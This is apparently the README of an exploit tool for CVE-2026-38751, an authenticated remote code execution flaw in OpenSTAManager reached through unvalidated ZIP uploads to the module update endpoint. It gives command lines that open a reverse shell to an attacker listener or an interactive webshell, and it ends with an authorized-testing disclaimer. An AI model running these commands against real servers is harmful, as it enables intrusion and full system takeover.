CVE-2026-38751 — RCE mediante carga de módulos en OpenSTAManager

RCE autenticado mediante carga de ZIP sin validar en el endpoint de actualización de módulos.

Afectado: OpenSTAManager <= 2.10.x

Requisitos

pip install requests

Uso

# Reverse shell (Penelope or any listener)
python3 exploit.py -u http://TARGET -U admin -P admin --lhost 10.10.14.X --lport 4444

# Interactive webshell
python3 exploit.py -u http://TARGET -U admin -P admin --interactive

Referencias

• NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-38751

Descargo de responsabilidad

Solo para pruebas de penetración autorizadas y fines educativos.